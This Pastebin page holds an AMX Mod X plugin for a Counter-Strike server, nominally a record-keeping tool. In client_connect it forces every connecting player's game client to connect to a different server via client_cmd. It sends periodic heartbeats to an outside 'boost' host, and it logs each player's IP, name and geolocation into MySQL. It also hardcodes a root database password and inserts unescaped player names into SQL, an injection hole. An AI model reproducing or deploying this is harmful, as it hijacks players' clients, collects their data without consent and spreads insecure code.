Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- #include <amxmisc>
- #include <sockets>
- #include <sqlx>
- #include <special_geoip>
- #define PLUGIN "Evidenta"
- #define VERSION "1.1"
- #define AUTHOR "Author"
- #define szHost "localhost"
- #define szUser "root"
- #define szPass "florentin12345"
- #define szDb "evidenta"
- #define LOG_NUMEFISIER "RedirectStats.log" //nume fisier inscriere loguri
- #define CFG_NUMEFISIER "PSHLDS_Proprietar.cfg" //nume fisier incarcare setari cvar-uri
- #define TAG_PLUGIN "[RWS]" //Redirect Web Stats - RWS
- new gCvarRedirectIp, gCvarRedirectPort, gCvarRedirectPassword, gCvarRedirectHost;
- new gCvarRedirectPath, gCvarRedirectUsername, gCvarRedirectUpdate;
- new gRedirectHost[ 50 ], gRedirectName[ 50 ], gRedirectPath[ 50 ];
- new gError;
- new Handle:g_SqlTuple
- public plugin_init( )
- {
- register_plugin(PLUGIN, VERSION, AUTHOR)
- g_SqlTuple = SQL_MakeDbTuple(szHost, szUser, szPass, szDb, 10)
- gCvarRedirectIp = register_cvar( "redirect_server", "global.csredstars.com" ); //ip-ul serverului pe care vei redirectiona jucatorii sau dns-ul lui
- gCvarRedirectPort = register_cvar( "redirect_serverport", "27015" ); //fara : doar portul serverului tercut in cvar-ul de deasupra
- gCvarRedirectPassword = register_cvar( "redirect_serverpw", "" ); //daca serverul are parola pune parola lui intre ghilimele
- gCvarRedirectHost = register_cvar( "redirect_host", "http://boost-master.net/" ); //adresa fara director
- gCvarRedirectPath = register_cvar( "redirect_path", "/test" ); //directorul in care se afla instalat scriptul si care vin dupa adresa de mai sus
- gCvarRedirectUsername = register_cvar( "redirect_username", "Florentin" ); //numele celui ce tine redirectul
- gCvarRedirectUpdate = register_cvar( "redirect_uptime", "150" );
- set_task( float( get_pcvar_num( gCvarRedirectUpdate ) ), "RedirectServer", _, _, _, "b" );
- }
- public plugin_cfg( )
- {
- new szConfigsDir[ 32 ];
- get_configsdir( szConfigsDir, charsmax( szConfigsDir ) );
- new szFile[ 192 ];
- formatex( szFile, charsmax( szFile ), "%s/%s", szConfigsDir, CFG_NUMEFISIER );
- if( file_exists( szFile ) )
- {
- server_cmd( "exec %s", szFile );
- server_print( "%s Fisierul ^"%s^" a fost incarcat cu succes!", TAG_PLUGIN, szFile );
- /* Daca vrei sa creeze si log sterge cele doua liniute din fata liniei de mai jos */
- //log_to_file( LOG_NUMEFISIER, "%s Fisierul <%s> a fost incarcat cu succes!", TAG_PLUGIN, szFile );
- }
- else
- {
- server_print( "%s Eroare! Fisierul ^"%s^" nu a fost gasit!", TAG_PLUGIN, szFile );
- /* Daca vrei sa creeze si log sterge cele doua liniute din fata liniei de mai jos */
- //log_to_file( LOG_NUMEFISIER, "%s Eroare! Fisierul ^"%s^" nu a fost gasit!", TAG_PLUGIN, szFile );
- }
- }
- public RedirectServer( )
- {
- new RedirectPort[ 10 ];
- get_cvar_string( "port", RedirectPort, charsmax( RedirectPort ) );
- get_pcvar_string( gCvarRedirectHost, gRedirectHost, charsmax( gRedirectHost ) );
- get_pcvar_string( gCvarRedirectPath, gRedirectPath, charsmax( gRedirectPath ) );
- get_pcvar_string( gCvarRedirectUsername, gRedirectName, charsmax( gRedirectName ) );
- new RedirectSocket = socket_open( gRedirectHost, 80, SOCKET_TCP, gError);
- new szData[ 512 ];
- formatex( szData, charsmax( szData ), "GET %s/alive.php?p=%s&f=%s HTTP/1.1^r^nHost:%s^r^nConnection: close^r^n^r^n", gRedirectPath, RedirectPort, gRedirectName, gRedirectHost );
- socket_send( RedirectSocket, szData, charsmax( szData ) );
- /* Daca vrei sa creeze si log sterge cele doua liniute din fata liniei de mai jos */
- //log_to_file( LOG_NUMEFISIER, "%s HeartBeat sent !", TAG_PLUGIN);
- }
- public ServerPlayers( )
- {
- get_pcvar_string( gCvarRedirectHost, gRedirectHost, charsmax( gRedirectHost ) );
- get_pcvar_string( gCvarRedirectPath, gRedirectPath, charsmax( gRedirectPath ) );
- get_pcvar_string( gCvarRedirectUsername, gRedirectName, charsmax( gRedirectName ) );
- new PlayerSocket = socket_open( gRedirectHost, 80, SOCKET_TCP, gError);
- new PlayerCount[ 512 ];
- formatex( PlayerCount, charsmax( PlayerCount ), "GET %s/new.php?f=%s HTTP/1.1^r^nHost:%s^r^nConnection: close^r^n^r^n", gRedirectPath, gRedirectName, gRedirectHost );
- socket_send( PlayerSocket, PlayerCount, charsmax( PlayerCount ) );
- }
- public client_connect( id )
- {
- new szServerPassword[ 30 ], szServerIp[ 32 ];
- get_pcvar_string( gCvarRedirectPassword, szServerPassword, charsmax( szServerPassword ) );
- get_pcvar_string( gCvarRedirectIp, szServerIp, charsmax( szServerIp ) );
- if( is_user_connecting( id ) && !is_user_bot( id ) )
- {
- ServerPlayers( );
- }
- if( get_playersnum( ) >= 0 )
- {
- if( ! equal( szServerPassword, "" ) )
- {
- client_cmd( id, "password %s", szServerPassword );
- }
- client_cmd( id, "wait;wait;wait;wait;wait;^"Connect^" %s:%d", szServerIp, get_pcvar_num( gCvarRedirectPort ) );
- }
- if(is_user_bot(id)){
- server_cmd("kick #%d", id)
- return PLUGIN_HANDLED
- }
- inregistrare(id)
- static sql[256]
- // --------------- Preluare IP -----------------
- //new szIp[32];
- //get_user_ip (id, szIp, charsmax(szIp), 1);
- //new Country[32];
- //geoip_country(szIp, Country, charsmax(Country));
- //new country[33];
- //new ip[32];
- //get_user_ip( id, ip, charsmax( ip ));
- //geoip_country( ip, country, charsmax( country ) );
- static Name[64], ip[64], Country[64], City[64], AreaCode[64];
- get_user_ip(id, ip, 63, 1);
- get_user_name(id, Name, 63);
- GeoipInfo(ip, GI_Country, Country, charsmax(Country));
- GeoipInfo(ip, GI_City, City, 63);
- GeoipInfo(ip, GI_CountryCode, AreaCode, charsmax(AreaCode));
- // -------------- Preluare Data -----------------
- static preluare_an[5],time_an;
- static preluare_luna[3],time_luna;
- static preluare_zi[3],time_zi;
- static preluare_ora[3],time_ora;
- static preluare_minute[3],time_minute;
- static preluare_secunde[3],time_secunde;
- get_time("%Y", preluare_an, 4);
- get_time("%m", preluare_luna, 2);
- get_time("%d", preluare_zi, 2);
- get_time("%H", preluare_ora, 2);
- get_time("%M", preluare_minute, 2);
- get_time("%S", preluare_secunde, 2);
- time_an = str_to_num(preluare_an);
- time_luna = str_to_num(preluare_luna);
- time_zi = str_to_num(preluare_zi);
- time_ora = str_to_num(preluare_ora);
- time_minute = str_to_num(preluare_minute);
- time_secunde = str_to_num(preluare_secunde);
- formatex(sql, charsmax(sql), "INSERT INTO `logs` (`timeyear`, `timemonth`, `timeday`, `timehour`, `timeminute`, `timesecound`, `ip`, `type`, `name`, `country`, `areacode`) VALUES ('%d', '%d', '%d', '%d', '%d', '%d', '%s', 'cs', '%s', '%s', '%s'); ",time_an, time_luna, time_zi, time_ora, time_minute, time_secunde, ip, Name, Country, AreaCode);
- SQL_ThreadQuery(g_SqlTuple, "IgnoreHandle", sql)
- return PLUGIN_CONTINUE
- }
- public IgnoreHandle(FailState, Handle:Query, szError[], Errcode)
- {
- QueryStatus(FailState, szError, Errcode)
- new DataNum
- while(SQL_MoreResults(Query))
- {
- DataNum = SQL_ReadResult(Query,0)
- server_print("zomg, some data: %s",DataNum)
- SQL_NextRow(Query)
- }
- SQL_FreeHandle(Query);
- return PLUGIN_HANDLED;
- }
- public client_putinserver(id){
- if(is_user_bot(id)){
- server_cmd("kick #%d", id)
- return PLUGIN_HANDLED
- }
- set_task(3.0, "inregistrare", id)
- return PLUGIN_CONTINUE
- }
- public inregistrare(id){
- return PLUGIN_CONTINUE
- }
- public QueryStatus(FailState, szError[], Errcode){
- static szDate[32], error[512]
- get_time("%d.%m.%y - %H:%M:%S", szDate, 31)
- if(FailState == TQUERY_CONNECT_FAILED){
- formatex(error, charsmax(error), "[MYSQL CONNECT ERROR] - [%s] - MySQL: %s | Errcode: %d^n", szDate, szError, Errcode)
- write_file("addons/amxmodx/logs/mysql_log.log", error, -1)
- server_print("A aparut o eroare ! Info in logs !")
- }
- else if(FailState == TQUERY_QUERY_FAILED){
- formatex(error, charsmax(error), "[MYSQL QUERY ERROR] - [%s] - MySQL: %s | Errcode: %d^n", szDate, szError, Errcode)
- write_file("addons/amxmodx/logs/mysql_log.log", error, -1)
- server_print("A aparut o eroare ! Info in logs !")
- }
- else if(Errcode){
- formatex(error, charsmax(error), "[MYSQL ERROR CODE] - [%s] - MySQL: %s | Errcode: %d^n", szDate, szError, Errcode)
- write_file("addons/amxmodx/logs/mysql_log.log", error, -1)
- server_print("A aparut o eroare ! Info in logs !")
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement